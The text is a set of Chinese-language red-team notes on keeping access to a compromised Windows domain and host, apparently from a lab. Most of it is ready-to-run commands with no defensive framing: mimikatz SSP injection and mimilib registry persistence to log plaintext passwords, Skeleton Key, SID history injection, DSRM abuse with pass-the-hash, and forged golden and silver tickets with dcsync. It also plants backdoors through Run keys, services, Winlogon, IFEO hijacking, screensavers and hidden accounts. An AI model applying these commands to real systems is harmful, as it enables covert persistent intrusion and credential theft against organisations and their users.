总结:
域内
SSP=>实现身份认证=>mimikatz/修改注册表 =>记录登录密码
修改密码劫持=>hookpasswordchange =>记录登录密码
Skeleton Key(万能钥匙)登录进程劫持
SID history-用户属性修改
DSRM-基于机制账号启用
基于软件上线=>(GotoHTTP/rustdesk)
黄金票据TGT=>krbtgt=>krbtgt ntlm hash & 白银票据ST=>单一用户单一服务 用户的ntlm hash
域外
隐藏用户=>软件CreateHiddenAccount
自启动=>路径加载/服务加载/注册表加载/计划任务
印象劫持=> 修改注册表 GlobalFlag隐藏
功能劫持=>wingon(登录时运行)|配合powershell 屏幕保护
域内
拿下域控->
DLL加载-SSP
SSP---Security Support Provider,直译为安全支持提供者,又名Security Package。简单的理解为SSP就是一个DLL,用来实现身份认证,并且维特系统权限
如果获得目标系统system权限,可以使用该方法进行持久化操作
其主要原理是:LSA(Loca1 Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LsA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获Lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码
下列两个互补 =>盗取密码
mimikatz
域机器mimikatz使用如下命令
privilege::debug
#提升权限
misc::memssp
#记录维权工作
注销/切换用户
C:\Windows\System32\mimilsa.log 记录登录的账号密码
缺点:重启后会失效,被注入内存的伪造的SSP将会丢失。
修改注册表
使用此方法即使系统重启,也不会影响到持久化的效果。
1、mimilib.dll传到目标域控的c:windows\system32\(
mimilib.dll文件为猕猴桃自带
2、修改注册表,重启生效(regedit)
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" #查看值
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ #修改值
重启计算机
c:\windows\system32\kiwissp.log记录账号密码文件
缺点:重启后不会失效。但生效前提需要重启才能生效
将log文件存放在web端=>访问可得/
DLL加载-修改密码劫持
拦截密码修改功能=>保存修改密码=>再进行修改
https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking
HookPasswordChange
管理员身份运行
./HookPasswordChangeNotify.ps1
修改的密码会保存在C:\Windows\Temp
Skeleton Key-登录进程劫持
Skeleton Key万能钥匙
即给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始:密码也可以使用,其原理就是对lsass.exe(用于本地安全认证服务器)进行注入,所以重启后会效,不需要重启
将skeleton Key安装在域控削器上,便能够能够让所有域用户使用同个万能密码对域控进行登录,现有的所有域用户使用原密码仍能继续登录,注意万能密码并不能更改用户权限,
重启将失效.
适用条件 (拿下域控 某个用户与域控通讯dir \\owa2010cn-god\c$-拒绝访问)
域控(mimikatz操作):
privilege::debug
misc::skeleton
其余用户使用万能密码登录
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$
SID history-用户属性修改
wmic useraccount get 查看域用户sid情况
powershell下运行
Import-Module ActiveDirectory
Get-ADUser 域用户用户名 -Properties sidhistory
如:Get-ADUser webadmin -Properties sidhistory
privilege::debug
sid::patch
sid::add /sam:域用户用户名 /new:administrator
如: sid::add /sam:webadmin /new:administrator
DSRM-基于机制账号启用
DSRM(Diretcory Service Restore Mode,目录服务恢复模式)
是windows域环境中域控制器的安全模式启动选项。
域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。
DSRM的用途是:允许管理员在域环境出现故障时还原、修复重建活动目录数据库。通过在Dc上运行ntdsutl工具可以修改DSRM密码。
在域控中,DSRM账号可视为域控的本地管理员账号
在DSRM账号可以登录域控的前提下,如果我们获得了域控的权限,在域控上cmd进入ntdsutil,将DSRM账号的密码进行修改(常同步为krbtgt的NTLM hash),之后在域内任何一台主机(包括域控本身)上通过修改后的hash,进行PTT实现远程访问控制
krbtgt管理用户登录=>相当于检票员
域控操作:
mimikatz运行:
获取dsrm及krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtgt =>获取hash(ntlm):b097d7ed97495408e1537f706c357fc5
token::elevate
lsadump::sam
cmd:
NTDSUTIL #打开ntdsutil
set DSRM password #修改DSRM的密码
sync from domain account (krbtgt) #域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次) #退出DSRM密码设置模式
q(第2次) #退出ntdsutil
修改dsrm登录方式
powershell:
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
其他域内主机
利用PTH传递攻击
mimikatz运行:
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
基于软件上线
GotoHTTP
rustdesk
C:\Users\用户名\AppData Roaming\RustDesk\config
黄金&白银票据
dir \\owa2010cn-god\c$
krbtgt 密钥发行中心服务账户
黄金票据生成攻击,是生成有效的TGT Kerberos票据
并且不受TGT生命周期的影响(TGT默认10小时,最多续订7天)
这里可以为任意用户生成黄金票据
然后为域管理员生成TGT,这样普通用户就可以变成域管理员。
krbtgt(票据)==>黄金票据 时间不限,权限高
白银票据(SILVER TICKET)
是利用域的服务账户进行伪造的ST,
在Kerberos认证的第三步,
Client带着ST和Authenticator3向Server上的某个服务进行请求,
Server接收到Client的请求之后,通过自己的Master Key解密ST,
从而获得Session Key。所以只需要知道Server用户的Hash就可以伪造出一个sT,
且不会经过KDC,但是伪造的门票只对部分服务起作用(不需要交互KDC,需要知道Server的NTLM Hash)。
金票和银票的区别#
获取的权限不同#
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同#
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同#
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
黄金票据
前提:
已经拿下域管理员,获取到krbtgt hash;
利用krbtgt的hash制作黄金票据,进行攻击
流程:
获取域名:
获取域的sid: S-1-5-21-1218902331-2157346161-1782232778 whoami /user
whoami /all
wmic useraccount get name,sid
获取域的krbtgt账户的NTLM-HASH: b097d7ed97495408e1537f706c357fc5
=>利用mimikatz:
privilege::debug
lsadump::lsa /patch
伪造用户名:任意域内已知用户名 !!不需要提权直接运行
kerberos::golden /user:<用户名> /domain:<域> /sid:<域的SID值> /krbtgt:<KRBTGT账户HASH> /ticket:<票据名称(可随意)>
kerberos::golden /user:dbadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:haha
导入票据
mimikatz kerberos::ptt haha
白银票据
访问指定计算机的指定服务
文件分享cifs
前提:
已经拿下域管理员,获取到DC hash(owa2010cn-god );
利用DC的hash制作白银票据工具,进行攻击。
流程:
获取域名: god.org
获取域的sid: S-1-5-21-1218902331-2157346161-1782232778 whoami /user
whoami /all
wmic useraccount get name,sid
获取域DC账户NTLM-HASH :51e952b4dcdaaac8abba9b79ad9e69e0
=>利用mimikatz:
privilege::debug
sekurlsa::logonpasswords
伪造用户名:任意域内已知用户名 (不要提权)
mimikatz kerberos::golden /user:<任意用户名> /domain:<域名> /sid:<域的SID> /target:<目标计算机名全称> /service:cifs /rc4:<DC账户NTLM-HASH> /ptt ST=>针对某个用户某个服务
kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god.god.org /service:cifs /rc4:51e952b4dcdaaac8abba9b79ad9e69e0 /ptt
文件分享cifs
dir \\owa2010cn-god\c$
白银到黄金票据升级(ldap服务开启)
kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god.god.org /service:ldap /rc4:51e952b4dcdaaac8abba9b79ad9e69e0 /ptt
(需要ldap服务才能抓取域控的krbtgt)
mimikatz lsadump::dcsync /dc:owa2010cn-god.god.org /domain:god.org /user:krbtgt
获取krbtgt的哈希值
kerberos::golden /user:dbadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:yiy
获取krbtgt票据
导入mimikatz kerberos::ptt yiy
成功得到黄金票据
域外
隐藏用户
命令添加
net user user passwd /add 添加user用户
net user user$ /add 添加隐藏用户
net user user /del 删除用户
CreateHiddenAccount软件添加=>单机版无法删除,域环境可以删除
https://github.com/wgpsec/CreateHiddenAccount
CreateHiddenAccount_upx_v0.2.exe -u 用户名 -p 密码 创建隐藏用户
CreateHiddenAccount_upx_v0.2.exe -c 查看隐藏用户
CreateHiddenAccount_upx_v0.2.exe -d 删除隐藏用户
自启动
自启动路径加载
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
如果存在自启动应用 =>打开文件位置 =>利用dll劫持
自启动服务加载
创建服务
sc create 服务名 binPath= 木马绝对路径 start= auto
sc create ServiceTest binPath= C:\shell.exe start= auto
启动服务
sc start ServiceTest
删除服务
sc delete 服务名
可与不带引号不安全服务联用
自启动注册表加载
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "服务名" /t REG_SZ /F /D "绝对路径"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\shell.exe"
计划计时任务
AT命令等
印象劫持
强制替换执行
打开记事本会替换为打开计算器
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
将本是txt文件转换为计算机/木马
缺点:容易被发现
配合GlobalFlag隐藏
退出txt文件时会打开shell.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\shell.exe"
功能劫持
Winlogon
登录时运行 userinit.exe
本地文件执行
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,C:\shell.exe"
无文件落地上线
cs生成木马=>payload生成器(P)=>Powershell command
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\System32\userinit.exe,<powershell>"
屏幕保护上线
启动屏幕保护时上运行
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\shell.exe" /f
